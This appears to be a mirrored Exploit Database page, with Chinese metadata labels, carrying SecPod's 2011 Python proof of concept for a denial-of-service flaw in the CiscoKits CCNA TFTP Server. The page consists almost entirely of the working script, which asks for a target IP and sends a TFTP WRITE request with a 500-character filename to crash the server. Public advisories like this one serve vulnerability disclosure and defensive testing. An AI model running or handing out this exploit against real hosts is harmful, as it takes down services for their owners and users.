CiscoKits 1.0 – TFTP Server ‘Write Command’ Denial of Service

• Exploit Database
• 109 阅读

• 作者： SecPod Research
  日期： 2011-08-05
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17618/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

  #!/usr/bin/python ############################################################################## # Title: CiscoKits CCNA TFTP Server Denial Of Service Vulnerability # Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com) # Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/ # Advisory : http://secpod.org/blog/?p=271 #http://secpod.org/SECPOD_CiscoKits_CCNA_TFTP_DoS_POC.py #http://secpod.org/advisories/SECPOD_Ciscokits_CCNA_TFTP_DoS.txt # Version: CiscoKits CCNA TFTP Server 1.0.0.0 # Date : 21/07/2011 ##############################################################################   import socket,sys,time   port = 69 target = raw_input("Enter host/target ip address: ")   if not target: print "Host/Target IP Address is not specified" sys.exit(1)   print "you entered ", target   try: socket.inet_aton(target) except socket.error: print "Invalid IP address found ..." sys.exit(1)   try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1)   #File name >= 222 length leads to crash exploit = "A" * 500   mode = "netascii" print "File name WRITE crash" # WRITE command = \x00\x02 data = "\x00\x02" + exploit + "\0" + mode + "\0" sock.sendto(data, (target, port)) time.sleep(5)